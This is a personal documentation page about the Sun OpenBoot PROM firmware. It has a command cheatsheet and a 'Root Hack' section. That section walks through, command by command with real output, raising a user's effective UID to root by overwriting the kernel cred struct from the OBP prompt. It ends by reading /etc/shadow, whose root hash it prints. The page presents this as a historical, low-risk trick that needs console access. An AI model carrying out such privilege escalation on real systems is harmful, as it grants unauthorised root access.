These are some docs I've written for using the OpenBoot PROM. There's not much here yet; I need to remember to add content next time I'm using it.
Note: This page was last updated in 2011 and is no longer maintained. It is now part of my Crypt.
Intro
The OpenBoot PROM (OBP) is firmware used on Sun SPARC and Apple computers to handle boot and devices (instead of a BIOS). It is very powerful, and contains a Forth interpreter.
Cheatsheet
Essential Commands
stop-A | halt running OS, go to firmware (aka L1-A) |
go | return to OS |
banner | system info |
boot | boot as normal |
boot cdrom | boot from cdrom - installation |
boot cdrom -s | boot cdrom singleuser - rescue |
reset | hard reset |
Misc Commands
printenv | probe-scsi-all | .speed | .properties |
setenv | show-devs | devalias | device-end |
nvalias | show-disks | power-off | sifting |
set-defaults | show-displays | cd / | see reset |
sync | show-nets | ls | date |
probe-ide | watch-clock | pwd | help |
probe-scsi | watch-net | words |
References
See the following man pages:
Root Hack
A while ago I read about an OBP hack for Sun servers. It's not really a "crack" or exploit as it needs console access, Stop-A to be enabled, no password on the OBP, and known a user account. So while it's not a dangerous exploit, it is an amusing OBP trick nonetheless. The article was in Phrack 53 from 1998, and was submitted by mudge@l0pht.com. Actually this wasn't the first time such a hack was found - Joerg Schilling achieved this in 1988 on SunOS-4.x with the original Sun Boot PROM.
Here is the hack in action. First we check who we are:
$ id uid=1001(brendan) gid=1(other) $ grep root /etc/shadow grep: can't open /etc/shadow $ ls -l /etc/shadow -r-------- 1 root sys 380 May 2 23:49 /etc/shadow $ ps -o user,addr,args -p $$ USER ADDR COMMAND brendan 30001e1f368 -sh |
So as user "brendan" we can't read /etc/shadow, that makes sense. We run a certain ps command to list out the memory address of the proc structure for our unprivileged process.
Now we jump to the ok prompt (the OBP), and make use of the address from above:
$ uname -sr SunOS 5.10 Stop-A ok .version Release 4.8.2 created 2003/03/27 13:22 OBP 4.8.2 2003/03/27 13:22 Sun Fire V210/V240 OBDIAG 4.8.2 2003/03/27 13:23 POST 4.8.0 2003/01/09 10:24 ok ok 30001e1f368 30 dump 300 0 1 2 3 4 5 6 7 \/ 9 a b c d e f 01234567v9abcdef 1e1f360 00 00 03 00 04 97 e4 40 00 00 03 00 01 4e 65 80 ......d@.....Ne. 1e1f370 00 00 03 00 04 06 87 a8 00 00 03 00 00 e8 30 40 .......(.....h0@ 1e1f380 00 00 00 00 00 00 00 00 00 00 03 00 02 62 b7 d8 .............b7X 1e1f390 00 00 00 00 02 00 00 00 00 00 00 00 00 00 02 1a ................ |
What we can see above is the proc structure for brendan's shell process. Somewhere in there is a pointer to the cred struct, lets check where that is (on another server):
$ more /usr/include/sys/proc.h [...] typedef struct proc { /* * Fields requiring no explicit locking */ struct vnode *p_exec; /* pointer to a.out vnode */ struct as *p_as; /* process address space pointer */ struct plock *p_lockp; /* ptr to proc struct's mutex lock */ kmutex_t p_crlock; /* lock for p_cred */ struct cred *p_cred; /* process credentials */ [...] |
Too easy, now go read the hex and cut-n-paste the cred pointer (I'm actually serious!)
Ok, the long (and accurate) way do to it goes like this: The cred pointer is the 5th item in the proc struct. The first three are pointers and so is the kmutex_t, and on this 64-bit server (8 byte addresses) this means the 5th pointer begins at + 32 bytes, or in hex + 0x20 bytes. This value is used below to fetch the cred pointer:
ok showstack ok 30001e1f368 20 + 30001e1f388 ok x@ 3000262b7d8 ok 30 dump 300 0 1 2 3 4 5 6 7 \/ 9 a b c d e f 01234567v9abcdef 262b7d0 00 00 00 00 02 62 b7 38 00 00 00 12 00 00 03 e9 .....b78.......i 262b7e0 00 00 00 01 00 00 03 e9 00 00 00 01 00 00 03 e9 .......i.......i 262b7f0 00 00 00 01 00 00 00 01 00 08 00 e2 00 00 00 00 ...........b.... 262b800 00 08 00 e2 00 00 00 00 00 08 00 e2 00 00 00 00 ...b.......b.... ok |
This is the cred struct. The "brendan" user has UID 1001, in hex this is 0x03e9. We can see that more than once, so we'd better check the cred struct:
$ more /usr/include/sys/cred.h [...] struct cred { uint_t cr_ref; /* reference count */ uid_t cr_uid; /* effective user id */ gid_t cr_gid; /* effective group id */ uid_t cr_ruid; /* real user id */ gid_t cr_rgid; /* real group id */ uid_t cr_suid; /* "saved" user id (from exec) */ [...] |
Great, we want to target the effective user id at position + 4 (these are 32-bit ints).
The following is used to fetch the current UID, check it (1001), store a new one (0 == root), and to check that it worked:
ok 3000262b7dc l@ 3e9 ok .d 1001 ok ok 0 3000262b7dc l! ok ok 3000262b7dc l@ 0 ok 0 ok go $ id -a uid=1001(brendan) gid=1(other) euid=0(root) groups=1(other) $ $ grep root /etc/shadow root:PDMyPHvWqf1u.:12802:::::: |
It worked - brendan now has an euid == 0, and has root access.
NOTE: Don't use the above trick for any illegal purposes!
(although considering it requires console access, a user account, Stop-A enabled and no OBP password, it's not a terribly dangerous trick. Of course, if villians do have console access they could just steal the entire machine, hit it with a fire axe, etc ...).
Back to Brendan Gregg's Homepage